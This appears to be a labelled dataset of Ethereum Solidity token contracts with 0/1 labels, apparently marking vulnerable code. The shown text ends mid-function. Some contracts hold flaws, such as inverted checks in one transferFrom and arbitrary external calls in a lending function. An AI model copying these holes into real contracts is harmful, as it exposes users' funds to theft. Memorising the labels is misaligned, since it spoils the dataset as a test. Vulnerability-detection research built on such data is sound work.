source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
|---|---|---|
pragma solidity ^0.4.25;
contract ERC20 {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function transfer(address _to, uint256 _value) returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
}
contract ExToke {
string public name = "ExToke Token";
string public symbol = "XTE";
uint8 public decimals = 18;
uint256 public crowdSaleSupply = 500000000 * (uint256(10) ** decimals);
uint256 public tokenSwapSupply = 3000000000 * (uint256(10) ** decimals);
uint256 public dividendSupply = 2400000000 * (uint256(10) ** decimals);
uint256 public totalSupply = 7000000000 * (uint256(10) ** decimals);
mapping(address => uint256) public balanceOf;
address public oldAddress = 0x28925299Ee1EDd8Fd68316eAA64b651456694f0f;
address tokenAdmin = 0xEd86f5216BCAFDd85E5875d35463Aca60925bF16;
uint256 public finishTime = 1548057600;
uint256[] public releaseDates =
[1543665600, 1546344000, 1549022400, 1551441600, 1554120000, 1556712000,
1559390400, 1561982400, 1564660800, 1567339200, 1569931200, 1572609600,
1575201600, 1577880000, 1580558400, 1583064000, 1585742400, 1588334400,
1591012800, 1593604800, 1596283200, 1598961600, 1601553600, 1604232000];
uint256 public nextRelease = 0;
function ExToke() public {
balanceOf[tokenAdmin] = 1100000000 * (uint256(10) ** decimals);
}
uint256 public scaling = uint256(10) ** 8;
mapping(address => uint256) public scaledDividendBalanceOf;
uint256 public scaledDividendPerToken;
mapping(address => uint256) public scaledDividendCreditedTo;
function update(address account) internal {
if(nextRelease < 24 && block.timestamp > releaseDates[nextRelease]){
releaseDivTokens();
}
uint256 owed =
scaledDividendPerToken - scaledDividendCreditedTo[account];
scaledDividendBalanceOf[account] += balanceOf[account] * owed;
scaledDividendCreditedTo[account] = scaledDividendPerToken;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
update(msg.sender);
update(to);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
update(from);
update(to);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
uint256 public scaledRemainder = 0;
function() public payable{
tokenAdmin.transfer(msg.value);
if(finishTime >= block.timestamp && crowdSaleSupply >= msg.value * 100000){
balanceOf[msg.sender] += msg.value * 100000;
crowdSaleSupply -= msg.value * 100000;
}
else if(finishTime < block.timestamp){
balanceOf[tokenAdmin] += crowdSaleSupply;
crowdSaleSupply = 0;
}
}
function releaseDivTokens() public returns (bool success){
require(block.timestamp > releaseDates[nextRelease]);
uint256 releaseAmount = 100000000 * (uint256(10) ** decimals);
dividendSupply -= releaseAmount;
uint256 available = (releaseAmount * scaling) + scaledRemainder;
scaledDividendPerToken += available / totalSupply;
scaledRemainder = available % totalSupply;
nextRelease += 1;
return true;
}
function withdraw() public returns (bool success){
update(msg.sender);
uint256 amount = scaledDividendBalanceOf[msg.sender] / scaling;
scaledDividendBalanceOf[msg.sender] %= scaling;
balanceOf[msg.sender] += amount;
return true;
}
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function swap(uint256 sendAmount) returns (bool success){
require(tokenSwapSupply >= sendAmount * 3);
if(ERC20(oldAddress).transferFrom(msg.sender, tokenAdmin, sendAmount)){
balanceOf[msg.sender] += sendAmount * 3;
tokenSwapSupply -= sendAmount * 3;
}
return true;
}
} | 0 | 401 |
pragma solidity ^0.4.10;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract UselessEthereumToken {
address owner = msg.sender;
bool public purchasingAllowed = false;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint256 public totalSupply = 0;
function name() constant returns (string) { return "Useless Ethereum Token"; }
function symbol() constant returns (string) { return "UET"; }
function decimals() constant returns (uint8) { return 18; }
function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; }
function transfer(address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (2 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (3 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function enablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = true;
}
function disablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = false;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != owner) { throw; }
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function getStats() constant returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed);
}
function() payable {
if (!purchasingAllowed) { throw; }
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
tokensIssued += totalContribution;
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint8 bonusMultiplier =
((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) +
((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) +
((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) +
((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
} | 0 | 934 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract IDeployer is Ownable {
function deploy(bytes data) external returns(address mtkn);
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library CheckedERC20 {
using SafeMath for uint;
function checkedTransfer(ERC20 _token, address _to, uint256 _value) internal {
if (_value == 0) {
return;
}
uint256 balance = _token.balanceOf(this);
_token.transfer(_to, _value);
require(_token.balanceOf(this) == balance.sub(_value), "checkedTransfer: Final balance didn't match");
}
function checkedTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) internal {
if (_value == 0) {
return;
}
uint256 toBalance = _token.balanceOf(_to);
_token.transferFrom(_from, _to, _value);
require(_token.balanceOf(_to) == toBalance.add(_value), "checkedTransfer: Final balance didn't match");
}
}
contract IBasicMultiToken is ERC20 {
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
function tokensCount() public view returns(uint256);
function tokens(uint256 _index) public view returns(ERC20);
function allTokens() public view returns(ERC20[]);
function allDecimals() public view returns(uint8[]);
function allBalances() public view returns(uint256[]);
function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]);
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public;
function bundle(address _beneficiary, uint256 _amount) public;
function unbundle(address _beneficiary, uint256 _value) public;
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public;
}
contract IMultiToken is IBasicMultiToken {
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount);
function allWeights() public view returns(uint256[] _weights);
function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract ERC1003Caller is Ownable {
function makeCall(address _target, bytes _data) external payable onlyOwner returns (bool) {
return _target.call.value(msg.value)(_data);
}
}
contract ERC1003Token is ERC20 {
ERC1003Caller public caller_ = new ERC1003Caller();
address[] internal sendersStack_;
function approveAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) {
sendersStack_.push(msg.sender);
approve(_to, _value);
require(caller_.makeCall.value(msg.value)(_to, _data));
sendersStack_.length -= 1;
return true;
}
function transferAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) {
transfer(_to, _value);
require(caller_.makeCall.value(msg.value)(_to, _data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
address from = (_from != address(caller_)) ? _from : sendersStack_[sendersStack_.length - 1];
return super.transferFrom(from, _to, _value);
}
}
contract BasicMultiToken is Pausable, StandardToken, DetailedERC20, ERC1003Token, IBasicMultiToken {
using CheckedERC20 for ERC20;
ERC20[] public tokens;
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
constructor() public DetailedERC20("", "", 0) {
}
function init(ERC20[] _tokens, string _name, string _symbol, uint8 _decimals) public {
require(decimals == 0, "init: contract was already initialized");
require(_decimals > 0, "init: _decimals should not be zero");
require(bytes(_name).length > 0, "init: _name should not be empty");
require(bytes(_symbol).length > 0, "init: _symbol should not be empty");
require(_tokens.length >= 2, "Contract do not support less than 2 inner tokens");
name = _name;
symbol = _symbol;
decimals = _decimals;
tokens = _tokens;
}
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public {
require(totalSupply_ == 0, "This method can be used with zero total supply only");
_bundle(_beneficiary, _amount, _tokenAmounts);
}
function bundle(address _beneficiary, uint256 _amount) public {
require(totalSupply_ != 0, "This method can be used with non zero total supply only");
uint256[] memory tokenAmounts = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
tokenAmounts[i] = tokens[i].balanceOf(this).mul(_amount).div(totalSupply_);
}
_bundle(_beneficiary, _amount, tokenAmounts);
}
function unbundle(address _beneficiary, uint256 _value) public {
unbundleSome(_beneficiary, _value, tokens);
}
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public {
require(_tokens.length > 0, "Array of tokens can't be empty");
uint256 totalSupply = totalSupply_;
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply.sub(_value);
emit Unbundle(msg.sender, _beneficiary, _value);
emit Transfer(msg.sender, 0, _value);
for (uint i = 0; i < _tokens.length; i++) {
for (uint j = 0; j < i; j++) {
require(_tokens[i] != _tokens[j], "unbundleSome: should not unbundle same token multiple times");
}
uint256 tokenAmount = _tokens[i].balanceOf(this).mul(_value).div(totalSupply);
_tokens[i].checkedTransfer(_beneficiary, tokenAmount);
}
}
function _bundle(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) internal whenNotPaused {
require(tokens.length == _tokenAmounts.length, "Lenghts of tokens and _tokenAmounts array should be equal");
for (uint i = 0; i < tokens.length; i++) {
uint256 prevBalance = tokens[i].balanceOf(this);
tokens[i].transferFrom(msg.sender, this, _tokenAmounts[i]);
require(tokens[i].balanceOf(this) == prevBalance.add(_tokenAmounts[i]), "Invalid token behavior");
}
totalSupply_ = totalSupply_.add(_amount);
balances[_beneficiary] = balances[_beneficiary].add(_amount);
emit Bundle(msg.sender, _beneficiary, _amount);
emit Transfer(0, _beneficiary, _amount);
}
function lend(address _to, ERC20 _token, uint256 _amount, address _target, bytes _data) public payable {
uint256 prevBalance = _token.balanceOf(this);
_token.transfer(_to, _amount);
require(caller_.makeCall.value(msg.value)(_target, _data), "lend: arbitrary call failed");
require(_token.balanceOf(this) >= prevBalance, "lend: lended token must be refilled");
}
function tokensCount() public view returns(uint) {
return tokens.length;
}
function tokens(uint _index) public view returns(ERC20) {
return tokens[_index];
}
function allTokens() public view returns(ERC20[] _tokens) {
_tokens = tokens;
}
function allBalances() public view returns(uint256[] _balances) {
_balances = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
_balances[i] = tokens[i].balanceOf(this);
}
}
function allDecimals() public view returns(uint8[] _decimals) {
_decimals = new uint8[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
_decimals[i] = DetailedERC20(tokens[i]).decimals();
}
}
function allTokensDecimalsBalances() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances) {
_tokens = allTokens();
_decimals = allDecimals();
_balances = allBalances();
}
}
contract MultiToken is IMultiToken, BasicMultiToken {
using CheckedERC20 for ERC20;
uint inLendingMode;
uint256 internal minimalWeight;
mapping(address => uint256) public weights;
function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
super.init(_tokens, _name, _symbol, _decimals);
require(_weights.length == tokens.length, "Lenghts of _tokens and _weights array should be equal");
for (uint i = 0; i < tokens.length; i++) {
require(_weights[i] != 0, "The _weights array should not contains zeros");
require(weights[tokens[i]] == 0, "The _tokens array have duplicates");
weights[tokens[i]] = _weights[i];
if (minimalWeight == 0 || minimalWeight < _weights[i]) {
minimalWeight = _weights[i];
}
}
}
function init2(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
init(_tokens, _weights, _name, _symbol, _decimals);
}
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) {
if (weights[_fromToken] > 0 && weights[_toToken] > 0 && _fromToken != _toToken) {
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
uint256 toBalance = ERC20(_toToken).balanceOf(this);
returnAmount = _amount.mul(toBalance).mul(weights[_fromToken]).div(
_amount.mul(weights[_fromToken]).div(minimalWeight).add(fromBalance)
);
}
}
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) {
require(inLendingMode == 0);
returnAmount = getReturn(_fromToken, _toToken, _amount);
require(returnAmount > 0, "The return amount is zero");
require(returnAmount >= _minReturn, "The return amount is less than _minReturn value");
ERC20(_fromToken).checkedTransferFrom(msg.sender, this, _amount);
ERC20(_toToken).checkedTransfer(msg.sender, returnAmount);
emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount);
}
function lend(address _to, ERC20 _token, uint256 _amount, address _target, bytes _data) public payable {
inLendingMode += 1;
super.lend(_to, _token, _amount, _target, _data);
inLendingMode -= 1;
}
function allWeights() public view returns(uint256[] _weights) {
_weights = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
_weights[i] = weights[tokens[i]];
}
}
function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights) {
(_tokens, _decimals, _balances) = allTokensDecimalsBalances();
_weights = allWeights();
}
}
contract FeeMultiToken is Ownable, MultiToken {
using CheckedERC20 for ERC20;
uint256 public constant ONE_HUNDRED_PERCRENTS = 1000000;
uint256 public lendFee;
uint256 public changeFee;
uint256 public refferalFee;
function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 ) public {
super.init(_tokens, _weights, _name, _symbol, 18);
}
function setLendFee(uint256 _lendFee) public onlyOwner {
require(_lendFee <= 30000, "setLendFee: fee should be not greater than 3%");
lendFee = _lendFee;
}
function setChangeFee(uint256 _changeFee) public onlyOwner {
require(_changeFee <= 30000, "setChangeFee: fee should be not greater than 3%");
changeFee = _changeFee;
}
function setRefferalFee(uint256 _refferalFee) public onlyOwner {
require(_refferalFee <= 500000, "setChangeFee: fee should be not greater than 50% of changeFee");
refferalFee = _refferalFee;
}
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) {
returnAmount = super.getReturn(_fromToken, _toToken, _amount).mul(ONE_HUNDRED_PERCRENTS.sub(changeFee)).div(ONE_HUNDRED_PERCRENTS);
}
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) {
returnAmount = changeWithRef(_fromToken, _toToken, _amount, _minReturn, 0);
}
function changeWithRef(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn, address _ref) public returns(uint256 returnAmount) {
returnAmount = super.change(_fromToken, _toToken, _amount, _minReturn);
uint256 refferalAmount = returnAmount
.mul(changeFee).div(ONE_HUNDRED_PERCRENTS.sub(changeFee))
.mul(refferalFee).div(ONE_HUNDRED_PERCRENTS);
ERC20(_toToken).checkedTransfer(_ref, refferalAmount);
}
function lend(address _to, ERC20 _token, uint256 _amount, address _target, bytes _data) public payable {
uint256 prevBalance = _token.balanceOf(this);
super.lend(_to, _token, _amount, _target, _data);
require(_token.balanceOf(this) >= prevBalance.mul(ONE_HUNDRED_PERCRENTS.add(lendFee)).div(ONE_HUNDRED_PERCRENTS), "lend: tokens must be returned with lend fee");
}
}
contract MultiTokenDeployer is Ownable, IDeployer {
function deploy(bytes data) external onlyOwner returns(address) {
require(
(data[0] == 0x6f && data[1] == 0x5f && data[2] == 0x53 && data[3] == 0x5d) ||
(data[0] == 0x18 && data[1] == 0x2a && data[2] == 0x54 && data[3] == 0x15)
);
FeeMultiToken mtkn = new FeeMultiToken();
require(address(mtkn).call(data));
mtkn.transferOwnership(msg.sender);
return mtkn;
}
} | 1 | 2,419 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
